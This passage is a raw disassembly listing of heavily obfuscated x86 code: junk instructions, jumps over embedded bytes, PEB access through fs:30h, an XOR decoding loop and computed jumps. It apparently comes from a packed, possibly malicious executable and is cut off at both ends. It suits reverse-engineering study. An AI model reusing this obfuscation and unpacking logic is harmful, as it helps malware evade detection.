loc_4072FE ; --------------------------------------------------------------------------- aad 0EAh fstp tbyte ptr [eax+51h] mov dh, 0B7h loc_4072FA: ; CODE XREF: sub_407191+11Fj and al, 8Dh inc edx push ebx loc_4072FE: ; CODE XREF: sub_407191+82j ; sub_407191+160j push ebx push 0 or [esp+0], ebx push 0FFFFFFFFh and [esp+0], eax test al, bh adc eax, 808660h inc eax cmp edi, ebp cmova ebx, edx mov ax, 4A74h not ebx xor eax, edi sub ebx, 808A20h push ebp pop ebx dec eax cld pop eax pop ebx lea eax, [esp-8+arg_0] sub ebx, 97DFAF66h sub ebx, 6820509Ah push eax jmp loc_40734B ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- test al, 0C1h cmpsw loc_40734B: ; CODE XREF: sub_407191+1B0j add esp, 0FFFFFFFCh mov [esp+0], ecx sub esp, 4 xchg ecx, [esp+4+var_4] mov ecx, [esp+4+var_4] pop [esp+4+var_4] mov ecx, 7A7058F2h sub esi, ecx pop ecx add esi, 7A7058F2h jmp short loc_407374 ; --------------------------------------------------------------------------- db 0F9h, 3Eh, 9Fh dd 0BB4AB5ECh ; --------------------------------------------------------------------------- loc_407374: ; CODE XREF: sub_407191+1DAj jmp loc_40738E ; --------------------------------------------------------------------------- db 0D8h, 31h, 16h dd 0A26D8497h, 0EE69F033h, 0FA251C8Fh, 0C6A108ABh db 87h, 0B4h ; --------------------------------------------------------------------------- loc_40738E: ; CODE XREF: sub_407191:loc_407374j push 2 push 0 add [esp+4+var_4], edx push 0 or [esp+0], ebx xor edx, 808E60h jmp loc_4073C1 ; --------------------------------------------------------------------------- db 3Bh ; --------------------------------------------------------------------------- mov byte ptr [edx+88CA60h], 66h mov edx, 0F4999h jmp short loc_4073ED ; --------------------------------------------------------------------------- dw 8DD1h ; --------------------------------------------------------------------------- adc eax, 80CD20h loc_4073C1: ; CODE XREF: sub_407191+215j cmovge ebx, esp mov edx, edi cmp al, 0CFh push esi pop edx neg ebx rol ebx, 14h cld pop ebx pop edx push 400h sub eax, 1 inc eax push ebp jmp loc_4073F4 ; --------------------------------------------------------------------------- db 4Ch, 95h, 0AAh dd 7611389Bh, 24DE477h db 13h ; --------------------------------------------------------------------------- loc_4073ED: ; CODE XREF: sub_407191+227j push eax dec ecx dec esi outsd jl short near ptr loc_4073F4+4 pop edx loc_4073F4: ; CODE XREF: sub_407191+24Bj ; sub_407191+260j push 0A9DE6F5Ah sub esp, 4 xchg ecx, [esp+10h+var_10] mov ecx, [esp+10h+var_10] mov ecx, 0C4611281h add edx, ecx pop ecx add esp, 0FFFFFFFCh mov [esp+10h+var_10], ecx push 0C4611281h pop ecx sub edx, ecx pop ecx push esi push ecx push 7D479280h pop ecx add edi, ecx pop ecx push ebx mov ebx, 7D479280h sub edi, ebx pop ebx sub esp, 4 xchg ebx, [esp+14h+var_14] pop ebx sub esp, 4 push 0F9F2DDD6h pop ebx sub esi, ebx pop ebx sub esp, 4 xchg eax, [esp+14h+var_14] mov eax, [esp+14h+var_14] push 0F9F2DDD6h pop eax add esi, eax pop eax sub edi, 5DA61A29h push 0 xor [esp+14h+var_14], ecx mov ecx, 5DA61A29h add edi, ecx pop ecx jmp loc_40747B ; --------------------------------------------------------------------------- dd 6BBAE5DCh, 478661C8h db 74h, 9Dh, 12h ; --------------------------------------------------------------------------- loc_40747B: ; CODE XREF: sub_407191+2DAj call near ptr sub_404933 push 0FFFFFFFFh and [esp+14h+var_14], eax push 0 or [esp+18h+var_18], ebx ror eax, 4Bh xadd ebx, ebx dec eax bsr ebx, eax cmp al, 0C8h neg ebx verw bx not ebx jns loc_4074AB mov eax, ebp loc_4074AB: ; CODE XREF: sub_407191+312j xchg ebx, ebx push edx pop ebx cmp al, 0FAh arpl bx, bx verw ax arpl ax, bx mov ax, 48FAh verw bx mov bx, 4949h xchg eax, eax mov eax, 80D550h dec eax cld pop ebx pop eax call eax sub esp, 4 xchg ecx, [esp+14h+var_14] mov ecx, [esp+14h+var_14] xchg eax, [esp+14h+var_18] jmp loc_4074E8 ; --------------------------------------------------------------------------- push ebp push 5Bh loc_4074E8: ; CODE XREF: sub_407191+34Fj mov eax, [esp-4] jmp short loc_407504 ; --------------------------------------------------------------------------- db 0F8h, 0D1h, 36h dd 0C20DA437h, 0E0910D3h, 1AC53C2Fh, 0E641284Bh ; --------------------------------------------------------------------------- loc_407504: ; CODE XREF: sub_407191+35Ej sub esp, 4 arpl cx, cx rol ecx, 0BAh movzx eax, ax inc ecx rol ecx, 0B6h arpl cx, ax test al, ch add eax, 8125E0h push eax pop eax xchg eax, ecx jmp loc_40752D ; --------------------------------------------------------------------------- lea ecx, ds:810D20h cld loc_40752D: ; CODE XREF: sub_407191+390j neg ecx arpl ax, ax xor eax, esp arpl ax, ax xchg ecx, ecx cmovns eax, edx cld pop eax pop ecx add esp, 4 add eax, offset word_41098E add eax, 0FFBEF672h add eax, 0FFFFFFFFh add eax, 1 push 41B9h push ecx mov [esp-4], eax jmp short loc_407560 ; --------------------------------------------------------------------------- db 35h ; --------------------------------------------------------------------------- loc_407560: ; CODE XREF: sub_407191+3CCj sub esp, 4 verw ax cld pop eax pop ecx push 607962D2h jmp loc_40758B ; --------------------------------------------------------------------------- dw 96B1h dd 22ED0417h, 6EE970B3h, 7AA59C0Fh, 4621882Bh ; --------------------------------------------------------------------------- pop es xor al, 5Dh loc_40758B: ; CODE XREF: sub_407191+3E0j push 1F000h jmp loc_40759C ; --------------------------------------------------------------------------- shl byte ptr [ebx-0E1A660h], cl int 3 ; Trap to Debugger loc_40759C: ; CODE XREF: sub_407191+3FFj call sub_407E62 push 0 or [esp+0], edi push 0 or [esp+0], esi xor esi, esp mov esi, ebp arpl si, di inc esi movzx edi, di xchg edi, edi mov esi, eax not esi sub esi, 811C60h xchg edi, edi neg esi clc cld pop esi pop edi add esp, 0Ch add esp, 0FFFFFFFCh mov [esp+14h+var_14], esi add esp, 0FFFFFFFCh mov [esp+18h+var_18], ecx push ecx pop [esp+1Ch+var_1C] mov cx, 499Dh arpl cx, cx cld test eax, esp cmovb esi, esp xchg ecx, ecx xor ecx, esp xchg ecx, esi inc esi neg ecx xchg ecx, ecx cld pop ecx pop esi push 28Ah sub esp, 4 xchg edx, [esp+18h+var_18] pop edx sub esp, 4 push 0 xor [esp+1Ch+var_1C], eax cmovnb edx, ebx or edx, 80DE60h mov edx, ebp lea eax, ds:80B3A0h rcr edx, 0F1h test al, ah cmp eax, eax mov ax, 499Dh cmp bh, ch cmovge edx, ebp lea eax, ds:8084B0h cmovbe eax, esi verw dx push edx pop eax xchg eax, eax inc eax inc edx cld pop eax pop edx push 29B8E826h jmp short loc_40765F ; --------------------------------------------------------------------------- dw 64F7h dd 0D09382CDh db 0C9h, 0CEh, 0EFh ; --------------------------------------------------------------------------- loc_40765F: ; CODE XREF: sub_407191+4C3j push 24000h jmp loc_40766C ; --------------------------------------------------------------------------- db 0Bh, 0E8h, 1 ; --------------------------------------------------------------------------- loc_40766C: ; CODE XREF: sub_407191+4D3j call sub_407E62 add edx, 0 add esp, 0Ch sub ecx, 243AAC00h push 0 or [esp+14h+var_14], eax mov eax, 243AAC00h add ecx, eax pop eax mov eax, ebp lea esp, [esp] sub ebx, 0EF7E04E8h sub ebx, 1081FB18h push esi sub edx, 62D84F3Ch sub edx, 9D27B0C4h push eax add eax, 0 push 24000h push ecx push 0 xor [esp+0], ecx pop dword ptr [esp+0] sub esp, 4 mov [esp+0], edx xor edx, esi shr edx, 4Dh inc edx push ebp pop ecx neg ecx jo loc_4076EE cmp cl, dl verw dx mov ecx, 8184A0h cmovno edx, ecx cmp esi, eax std loc_4076EE: ; CODE XREF: sub_407191+547j verw dx cld pop edx pop ecx call near ptr sub_404FE5 sub ecx, 19222365h add esp, 0FFFFFFFCh mov [esp+0], eax push 19222365h pop eax add ecx, eax pop eax jmp loc_40771D ; --------------------------------------------------------------------------- dw 0E148h dd 1DF4C706h ; --------------------------------------------------------------------------- xchg eax, edx loc_40771D: ; CODE XREF: sub_407191+580j xor eax, eax jmp short loc_407726 ; --------------------------------------------------------------------------- db 0DEh, 0BFh, 8Ch ; --------------------------------------------------------------------------- aad 0EAh loc_407726: ; CODE XREF: sub_407191+58Ej cmp eax, 1 jz loc_407DCD sub ecx, 92739B4Ah sub ecx, 6D8C64B6h mov eax, large fs:30h sub esp, 4 xchg edx, [esp+0] mov edx, [esp+0] push 621B048Dh pop edx sub ebx, edx pop edx add ebx, 621B048Dh add eax, 0EC493845h sub esp, 4 xchg ecx, [esp+0] pop ecx sub esp, 4 mov ecx, 0EC493845h sub eax, ecx pop ecx sub esp, 4 xchg ebx, [esp+0] pop ebx sub esp, 4 push 0AD556766h pop ebx sub edx, ebx pop ebx mov [esp-4], esi jmp loc_40779E ; --------------------------------------------------------------------------- db 0FDh, 0F2h, 43h db 0C0h, 0F9h ; --------------------------------------------------------------------------- loc_40779E: ; CODE XREF: sub_407191+603j sub esp, 4 push 0AD556766h pop esi add edx, esi pop esi jmp short loc_4077BC ; --------------------------------------------------------------------------- db 3Eh dd 4AB5EC9Fh, 1631D8BBh, 0A26D8497h ; --------------------------------------------------------------------------- loc_4077BC: ; CODE XREF: sub_407191+61Cj mov eax, [eax+0Ch] push 0FFFFFFFFh and [esp+0], ebx xchg ecx, [esp-4] jmp short loc_4077E1 ; --------------------------------------------------------------------------- dd 1C8FEE69h, 8ABFA25h, 0B487C6A1h, 202352DDh db 0D9h ; --------------------------------------------------------------------------- loc_4077E1: ; CODE XREF: sub_407191+63Dj mov ecx, [esp-4] jmp short loc_4077EF ; --------------------------------------------------------------------------- sahf jg short loc_407839 xchg eax, ebp stosb loc_4077EF: ; CODE XREF: sub_407191+657j sub esp, 4 mov ecx, esi lea ebx, ds:80C6B0h verw bx cmova ebx, esp push ebp pop ecx neg ebx verw cx mov cx, 4991h mov ecx, edi arpl cx, bx verw bx test al, ah repne cld pop ecx pop ebx mov edi, [eax+0Ch] sub ecx, 0FFEF488Ah sub ecx, 10B776h add edx, 0FFFFFFFFh add edx, 1 push edi jmp loc_40783F sub_407191 endp ; sp-analysis failed ; --------------------------------------------------------------------------- adc edx, [eax+49h] ; START OF FUNCTION CHUNK FOR sub_407191 loc_407839: ; CODE XREF: sub_407191+65Aj dec esi outsd jl short loc_407842 pop edx ; END OF FUNCTION CHUNK FOR sub_407191 ; --------------------------------------------------------------------------- db 8Bh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_407861 loc_40783F: ; CODE XREF: sub_407191+6A0j ; sub_407861+217j cmp ebp, [edi+18h] loc_407842: ; CODE XREF: sub_407191+6AAj jnz loc_407A5A push ecx push 0 add [esp+4+var_4], esi jnz loc_407871 verw si call near ptr sub_407861 inc eax inc ecx ; END OF FUNCTION CHUNK FOR sub_407861 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407861 proc far ; CODE XREF: sub_407861-7p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h ; FUNCTION CHUNK AT 0040783F SIZE 00000022 BYTES push ebp mov ebp, esp arpl si, si mov esi, ecx neg ecx verw si arpl si, cx pop ebp pop ecx loc_407871: ; CODE XREF: sub_407861-10j arpl cx, si xor ecx, ecx jmp $+5 cmp ebp, eax cld pop esi pop ecx add esp, 4 push 0 xor [esp-8+arg_0], edi sub esp, 4 xchg edx, [esp+0] pop edx sub esp, 4 mov edi, 808F20h verw di cmp cl, ch shr edi, 4 push edx pop edx cld pop edx pop edi push 22FF0h push edx jmp short loc_4078B4 ; --------------------------------------------------------------------------- db 3, 80h, 0B9h ; --------------------------------------------------------------------------- loc_4078B4: ; CODE XREF: sub_407861+4Ej jmp short loc_4078CB ; --------------------------------------------------------------------------- dw 5FFEh dd 7B0A75ACh, 57D6F198h, 0F3622D44h, 4FAE29B0h db 0DCh, 0E5h, 0BAh ; --------------------------------------------------------------------------- loc_4078CB: ; CODE XREF: sub_407861:loc_4078B4j jmp loc_4078D5 ; --------------------------------------------------------------------------- dd 8661C86Bh ; --------------------------------------------------------------------------- inc edi loc_4078D5: ; CODE XREF: sub_407861:loc_4078CBj pop edx add [esp-8+arg_0], ebp xchg ebx, [esp-4] jmp loc_4078E8 ; --------------------------------------------------------------------------- db 12h, 0E3h, 0E0h ; --------------------------------------------------------------------------- loc_4078E8: ; CODE XREF: sub_407861+7Fj mov ebx, [esp-4] jmp loc_407903 ; --------------------------------------------------------------------------- dd 0C3F5E99h, 0F85B6A55h, 0A43736D1h db 0Dh, 0C2h, 0D3h ; --------------------------------------------------------------------------- loc_407903: ; CODE XREF: sub_407861+8Ej sub esp, 4 push 0 or [esp+0], ecx mov ecx, 8085B0h lea ecx, ds:90B5E0h push edi pop ecx push ecx pop ecx bsr ecx, ebx arpl cx, cx mov ebx, edx xchg ecx, ecx xor ebx, edi mov ebx, 80C8E0h cld pop ecx pop ebx mov eax, [edi+1Ch] sub esp, 4 xchg edx, [esp+0] mov edx, [esp+0] push 0FC1FEA0Eh pop edx sub esi, edx pop edx add esi, 0FC1FEA0Eh add edx, 27E74C4Bh xchg eax, [esp-4] jmp short loc_407962 ; --------------------------------------------------------------------------- db 0E6h, 27h, 0D4h db 7Dh, 72h ; --------------------------------------------------------------------------- loc_407962: ; CODE XREF: sub_407861+FAj mov eax, [esp-4] jmp short loc_40797A ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- dd 1FBE7940h, 3BCA356Ch, 1796B158h ; --------------------------------------------------------------------------- add al, 0EDh loc_40797A: ; CODE XREF: sub_407861+108j sub esp, 4 push 27E74C4Bh pop eax sub edx, eax pop eax pop dword ptr [edi+1Ch] push ecx push 20E46B70h pop ecx sub esi, ecx pop ecx push 0 add [esp-8+arg_0], eax push 20E46B70h pop eax add esi, eax pop eax push ecx xchg ecx, [esp-4] jmp loc_4079C9 ; --------------------------------------------------------------------------- dd 7462188h, 0A3D25D34h, 0FF1E59A0h, 1B2A15CCh, 0F7F691B8h db 64h ; --------------------------------------------------------------------------- loc_4079C9: ; CODE XREF: sub_407861+14Ej mov ecx, [esp-4] jmp loc_4079E8 ; --------------------------------------------------------------------------- db 0CDh, 82h, 93h dd 0EFCEC9D0h, 0BDA85FCh, 0E7A601E8h, 83323D94h ; --------------------------------------------------------------------------- loc_4079E8: ; CODE XREF: sub_407861+16Fj sub esp, 4 pop dword ptr [esp+0] push 28CC2Bh pop ecx sub esi, ecx pop ecx sub esp, 4 xchg ebx, [esp-8+arg_0] pop ebx sub esp, 4 push 28CC2Bh pop ebx add esi, ebx pop ebx sub esp, 4 xchg ecx, [esp-8+arg_0] mov ecx, [esp-8+arg_0] push 8185EB2Ch pop ecx add eax, ecx pop ecx push 0 add [esp-8+arg_0], ebx push 8185EB2Ch pop ebx sub eax, ebx pop ebx jmp loc_407B25 ; --------------------------------------------------------------------------- sub esi, 0DF640071h sub esp, 4 xchg edi, [esp-8+arg_0] pop edi sub esp, 4 push 0DF640071h pop edi add esi, edi pop edi loc_407A5A: ; CODE XREF: sub_407861:loc_407842j mov edi, [edi] jmp loc_407A70 ; --------------------------------------------------------------------------- db 73h, 30h, 0A9h dd 655CCF2Eh, 0E148EB3Ah, 1DF4C706h ; --------------------------------------------------------------------------- loc_407A70: ; CODE XREF: sub_407861+1FBj add eax, 0 cmp [esp-0Ch+arg_4], edi jnz loc_40783F sub esp, 4 mov [esp-8+arg_0], edi sub esp, 4 xchg edi, [esp+0] mov edi, [esp+0] pop dword ptr [esp+0] push 0D31B2CBFh pop edi sub ebx, edi pop edi add esp, 0FFFFFFFCh mov [esp-8+arg_0], esi push 0D31B2CBFh pop esi add ebx, esi pop esi push esi push 78D8F878h pop esi sub ebx, esi pop esi sub esp, 4 xchg edi, [esp-8+arg_0] mov edi, [esp-8+arg_0] push 78D8F878h pop edi add ebx, edi pop edi jmp short loc_407AD9 ; --------------------------------------------------------------------------- mov bh, 24h lea eax, [edx+53h] nop mov [esi-65BA4351h], ecx retf ; --------------------------------------------------------------------------- loc_407AD9: ; CODE XREF: sub_407861+269j jmp loc_407AEF ; --------------------------------------------------------------------------- dw 0C1A8h dd 0FD54A766h, 0F9C043F2h, 0B5EC9F3Eh db 4Ah, 0BBh, 0D8h ; --------------------------------------------------------------------------- loc_407AEF: ; CODE XREF: sub_407861:loc_407AD9j sub edx, 0E8A21A97h add edx, 0E8A21A97h sub esp, 4 xchg ecx, [esp-8+arg_0] pop ecx sub esp, 4 push 6D984A69h pop ecx add ebx, ecx pop ecx sub esp, 4 mov [esp-8+arg_0], edx mov edx, 6D984A69h sub ebx, edx pop edx loc_407B25: ; CODE XREF: sub_407861+1D5j mov ebx, ebp xchg bx, bx push ebx jmp loc_407B33 ; --------------------------------------------------------------------------- db 0A1h, 0C6h, 87h ; --------------------------------------------------------------------------- loc_407B33: ; CODE XREF: sub_407861+2CAj pop ebx lea ecx, [ecx] add ebx, [ebx+3Ch] push 0 xor [esp-8+arg_0], ebx push eax neg eax mov eax, 82A430h rcr ebx, 3Eh shr ebx, 3Dh push edx pop eax rcl ebx, 12h cmc cld pop eax pop ebx mov eax, [ebx+34h] sub edx, 0 add ebx, 0E3524A56h add ebx, 1CADB5AAh sub eax, ebp xchg ecx, ecx push 22FF0h sub esp, 4 xchg ebx, [esp+0] pop ebx sub esp, 4 push ecx xchg ecx, ecx jno loc_407BAA dec ecx neg ebx mov ecx, edx test al, bh mov ecx, 80A060h test al, dl verw bx not ebx cmp esp, edi xchg ebx, ebx push ebp pop ebx push esi pop ebx loc_407BAA: ; CODE XREF: sub_407861+328j not ebx verw cx verw bx arpl bx, cx rcr ebx, 0Ah mov ebx, ebx inc ebx cld pop ecx pop ebx pop edx add esp, 0FFFFFFFCh mov [esp-8+arg_0], ebx xchg ecx, [esp-4] jmp short loc_407BD6 ; --------------------------------------------------------------------------- db 2, 13h, 50h dd 7C6F4E49h db 5, 5Ah ; --------------------------------------------------------------------------- loc_407BD6: ; CODE XREF: sub_407861+36Aj mov ecx, [esp-4] jmp loc_407BEB ; --------------------------------------------------------------------------- mov ebp, [eax-7Fh] db 26h, 67h adc al, 0BDh mov dl, 3 loc_407BEB: ; CODE XREF: sub_407861+37Cj sub esp, 4 and ebx, 818AA0h verw bx xchg ebx, ebx xchg ebx, ebx push eax pop ebx cld pop ecx pop ebx add edx, ebp sub eax, 610ADA5Fh mov [esp-0Ch+arg_0], ebx jmp short loc_407C19 ; --------------------------------------------------------------------------- cwde icebp setalc push edi inc esp loc_407C19: ; CODE XREF: sub_407861+3B1j sub esp, 4 push 610ADA5Fh pop ebx add eax, ebx pop ebx jmp loc_407C38 ; --------------------------------------------------------------------------- db 2Dh, 62h, 0F3h dd 4FAE29B0h, 6BBAE5DCh ; --------------------------------------------------------------------------- loc_407C38: ; CODE XREF: sub_407861+3C7j jmp short loc_407C47 ; --------------------------------------------------------------------------- dw 61C8h dd 9D744786h, 99E0E312h db 5Eh, 3Fh, 0Ch ; --------------------------------------------------------------------------- loc_407C47: ; CODE XREF: sub_407861:loc_407C38j jmp loc_407C4D ; --------------------------------------------------------------------------- push ebp loc_407C4D: ; CODE XREF: sub_407861:loc_407C47j add edx, 0Dh push edi push esi neg edi stc cld pop esi pop edi push 1001F000h push edx jmp loc_407C76 ; --------------------------------------------------------------------------- db 0Dh ; --------------------------------------------------------------------------- retn 10D3h ; --------------------------------------------------------------------------- db 9 dd 0C53C2F0Eh, 41284B1Ah, 7DD427E6h db 72h, 0C3h ; --------------------------------------------------------------------------- loc_407C76: ; CODE XREF: sub_407861+3FDj jmp short loc_407C87 ; --------------------------------------------------------------------------- dd 1FBE7940h, 3BCA356Ch, 1796B158h db 4, 0EDh, 22h ; --------------------------------------------------------------------------- loc_407C87: ; CODE XREF: sub_407861:loc_407C76j jmp short loc_407C90 ; --------------------------------------------------------------------------- db 0B3h, 70h, 0E9h dd 0A59C0F6Eh ; --------------------------------------------------------------------------- loc_407C90: ; CODE XREF: sub_407861:loc_407C87j pop edx pop ecx mov [esp-4], edi jmp loc_407CAB ; --------------------------------------------------------------------------- dw 4621h dd 0D25D3407h, 1E59A0A3h db 0FFh, 0CCh, 15h ; --------------------------------------------------------------------------- loc_407CAB: ; CODE XREF: sub_407861+438j sub esp, 4 mov edi, 5DBC8B88h add ecx, edi pop edi add esp, 0FFFFFFFCh mov [esp+0], eax mov eax, 5DBC8B88h sub ecx, eax pop eax mov [esp-4], edi jmp short loc_407CD9 ; --------------------------------------------------------------------------- adc byte ptr [ebx-10313630h], 0FCh test ebx, edx loc_407CD9: ; CODE XREF: sub_407861+46Dj sub esp, 4 push 0AC7650CDh pop edi sub ecx, edi pop edi push edx mov edx, 0AC7650CDh add ecx, edx pop edx sub esi, 0B8A43CE7h sub esp, 4 xchg eax, [esp+0] mov eax, [esp+0] push 0B8A43CE7h pop eax add esi, eax pop eax sub ecx, 98351200h xchg eax, [esp-4] jmp loc_407D28 ; --------------------------------------------------------------------------- db 0DFh dd 0FB8AF52Ch, 0D7567118h, 73E2ADC4h ; --------------------------------------------------------------------------- loc_407D28: ; CODE XREF: sub_407861+4B5j mov eax, [esp-4] jmp loc_407D45 ; --------------------------------------------------------------------------- dd 0CF2EA930h, 0EB3A655Ch, 0C706E148h, 63921DF4h ; --------------------------------------------------------------------------- pusha loc_407D45: ; CODE XREF: sub_407861+4CEj sub esp, 4 push 98351200h pop eax add ecx, eax pop eax jmp loc_407D6A ; --------------------------------------------------------------------------- db 19h, 0DEh, 0BFh dd 0DBEAD58Ch, 0B7B65178h, 53428D24h db 90h db 89h ; --------------------------------------------------------------------------- loc_407D6A: ; CODE XREF: sub_407861+4F3j sub ecx, eax push eax add esp, 0FFFFFFFCh mov [esp+0], edi push edi pop dword ptr [esp+0] neg eax rcr edi, 0D9h xor edi, ebx push ecx pop eax dec edi test al, ah jnz loc_407D97 jo short loc_407D90 neg edi shl edi, 48h loc_407D90: ; CODE XREF: sub_407861+528j push ebx pop edi bsr edi, edi mov eax, ebx loc_407D97: ; CODE XREF: sub_407861+522j xchg eax, edi dec eax cld pop edi pop eax mov [edx], ecx jmp loc_407DAF ; --------------------------------------------------------------------------- dd 0A8CB9A45h, 54A766C1h db 0FDh, 0F2h, 43h ; --------------------------------------------------------------------------- loc_407DAF: ; CODE XREF: sub_407861+53Ej jmp short loc_407DB6 ; --------------------------------------------------------------------------- db 0C0h, 0F9h, 3Eh db 9Fh, 0ECh ; --------------------------------------------------------------------------- loc_407DB6: ; CODE XREF: sub_407861:loc_407DAFj push 0FFFFFFFFh and [esp+0], ebx push 426BA5D8h pop ebx sub esi, ebx pop ebx add esi, 426BA5D8h loc_407DCD: ; CODE XREF: sub_407191+598j popa push 0 add [esp+0], esi add esp, 0FFFFFFFCh mov [esp+4+var_4], edx test eax, esp jmp loc_407DF1 ; --------------------------------------------------------------------------- dw 0D233h dd 0FE63Bh, 0F4EEEh db 0EEh ; --------------------------------------------------------------------------- loc_407DF1: ; CODE XREF: sub_407861+580j cmovge esi, ebx movzx edx, si verw dx not edx xor edx, ecx rcr esi, 93h push esp pop edx mov esi, eax cmc cld pop edx pop esi call sub_406091 add esp, 0FFFFFFFCh mov [esp+0], edx add esp, 0FFFFFFFCh mov [esp+4+var_4], ebx not edx lea edx, ds:80ABE0h test eax, ebp dec edx cld pop ebx pop edx add eax, 22FF0h push eax jmp loc_407E3D ; --------------------------------------------------------------------------- dw 8FEEh dd 0ABFA251Ch db 8 ; --------------------------------------------------------------------------- loc_407E3D: ; CODE XREF: sub_407861+5D0j jmp loc_407E47 ; --------------------------------------------------------------------------- mov eax, ds:0DDB487C6h loc_407E47: ; CODE XREF: sub_407861:loc_407E3Dj pop eax lea ebx, [ebx] add eax, 38303762h add eax, 0C7CFC89Eh jmp eax sub_407861 endp ; sp-analysis failed ; --------------------------------------------------------------------------- add ecx, 79670795h sub ecx, 79670795h ; =============== S U B R O U T I N E ======================================= sub_407E62 proc near ; CODE XREF: sub_407191:loc_40759Cp ; sub_407191:loc_40766Cp var_14 = dword ptr -14h var_10 = dword ptr -10h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch ; FUNCTION CHUNK AT 0040800A SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0040801B SIZE 00000002 BYTES ; FUNCTION CHUNK AT 00408028 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00408038 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 00408059 SIZE 00000040 BYTES push esi xor ecx, 0 push edi add edx, 0FFFFFFFFh sub edx, 0FFFFFFFFh push ecx add ecx, 0EB24C084h add ecx, 14DB3F7Ch xor edx, 0 mov ecx, [esp+0Ch+arg_8] xor ecx, 0 sub ecx, 4 push edx mov edx, edi pop edx mov edi, ebp lea edi, [edi] xchg ecx, ecx mov eax, [esp+0Ch+arg_0] jmp loc_407EA4 ; --------------------------------------------------------------------------- lodsb loc_407EA4: ; CODE XREF: sub_407E62+3Cj add edi, eax sub esp, 4 xchg eax, [esp+10h+var_10] mov eax, [esp+10h+var_10] add esp, 0FFFFFFFCh mov [esp+14h+var_14], ebx mov ebx, ebp xor eax, 8085A0h xor ebx, ecx verw ax mov eax, 808820h neg eax xchg ebx, eax shl ebx, 4Bh not eax xchg eax, eax xchg eax, ebx push esi pop ebx cmovl ebx, ebp test ecx, ecx verw ax inc eax inc ebx cld pop ebx pop eax mov eax, [esp+0Ch+arg_4] add ecx, 0F787A557h sub ecx, 0F787A557h jmp short loc_407F00 ; --------------------------------------------------------------------------- db 62h, 0F3h, 0B0h dd 0DC4FAE29h, 0C86BBAE5h ; --------------------------------------------------------------------------- loc_407F00: ; CODE XREF: sub_407E62+91j xor [ecx+edi], eax push edi push 54E69247h pop edi sub edx, edi pop edi add edx, 54E69247h push eax push 4D6669E0h pop eax sub ebx, eax pop eax add ebx, 4D6669E0h sub ebx, 8161145Bh push 0 add [esp+10h+var_10], esi mov esi, 8161145Bh add ebx, esi pop esi jmp loc_407F3F ; --------------------------------------------------------------------------- db 36h ; --------------------------------------------------------------------------- loc_407F3F: ; CODE XREF: sub_407E62+D7j jmp loc_407F57 ; --------------------------------------------------------------------------- dd 0C20DA437h, 0E0910D3h, 1AC53C2Fh, 0E641284Bh ; --------------------------------------------------------------------------- daa aam 7Dh loc_407F57: ; CODE XREF: sub_407E62:loc_407F3Fj dec ecx push ecx push 0 or [esp+14h+var_14], ecx pop [esp+14h+var_14] push 0 or [esp+14h+var_14], ecx pop [esp+14h+var_14] push esi xchg ecx, esi jmp loc_407F90 ; --------------------------------------------------------------------------- mov si, 49DCh push edx pop ecx cmovnb ecx, ecx test ecx, edx test al, ah lea esi, ds:80B230h mov ecx, 80ADE0h dec ecx loc_407F90: ; CODE XREF: sub_407E62+110j neg esi xor ecx, esp xor esi, esp shr ecx, 92h rcl ecx, 0A4h cmp al, cl inc ecx cld pop esi pop ecx loc_407FA2: ; CODE XREF: sub_40809C+40Fj ror ax, 82h xchg ebx, [esp+0Ch+var_10] jmp loc_407FC3 ; --------------------------------------------------------------------------- dw 1FBEh dd 3BCA356Ch, 1796B158h, 0B322ED04h db 70h, 0E9h, 6Eh ; --------------------------------------------------------------------------- loc_407FC3: ; CODE XREF: sub_407E62+14Bj mov ebx, [esp+0Ch+var_10] jmp loc_407FD4 ; --------------------------------------------------------------------------- db 0Fh dd 2B7AA59Ch ; --------------------------------------------------------------------------- loc_407FD4: ; CODE XREF: sub_407E62+168j sub esp, 4 push 0 add [esp+14h+var_14], eax neg eax cmp al, ah arpl bx, ax shl ebx, 0ECh verw ax cmp ah, bh jbe loc_40800A push ebp pop eax cmovl eax, esp cmovge ebx, edi push ebp pop eax mov eax, eax stc sub_407E62 endp ; sp-analysis failed _text ends ; Section 2. (virtual address 00008000) ; Virtual size : 00009000 ( 36864.) ; Section size in file : 00009000 ( 36864.) ; Offset to raw data for section: 00008000 ; Flags 40000040: Data Readable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read _data segment para public 'DATA' use32 assume cs:_data ;org 408000h lea eax, ds:80C650h dec ebx stc xchg eax, ebx ; START OF FUNCTION CHUNK FOR sub_407E62 loc_40800A: ; CODE XREF: sub_407E62+18Bj cld pop eax pop ebx ror eax, 21h jmp short loc_40801B ; END OF FUNCTION CHUNK FOR sub_407E62 ; --------------------------------------------------------------------------- dw 2188h dd 5D340746h db 0D2h, 0A3h, 0A0h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_407E62 loc_40801B: ; CODE XREF: sub_407E62+1AEj jmp short loc_408028 ; END OF FUNCTION CHUNK FOR sub_407E62 ; --------------------------------------------------------------------------- db 59h, 1Eh, 0FFh dd 1B2A15CCh, 0F7F691B8h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_407E62 loc_408028: ; CODE XREF: sub_407E62:loc_40801Bj jmp loc_408038 ; END OF FUNCTION CHUNK FOR sub_407E62 ; --------------------------------------------------------------------------- db 64h, 0CDh, 82h dd 0CEC9D093h, 0DA85FCEFh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_407E62 loc_408038: ; CODE XREF: sub_407E62:loc_408028j ror ax, 0A5h push edx mov edx, 0F7DE8301h add ebx, edx pop edx sub ebx, 0F7DE8301h jmp loc_408059 ; END OF FUNCTION CHUNK FOR sub_407E62 ; --------------------------------------------------------------------------- aF2g db '”=2ƒ',0 db 39h, 7Eh, 0DFh db 2Ch ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_407E62 loc_408059: ; CODE XREF: sub_407E62+1E9j sub esi, 0C191BBFBh sub 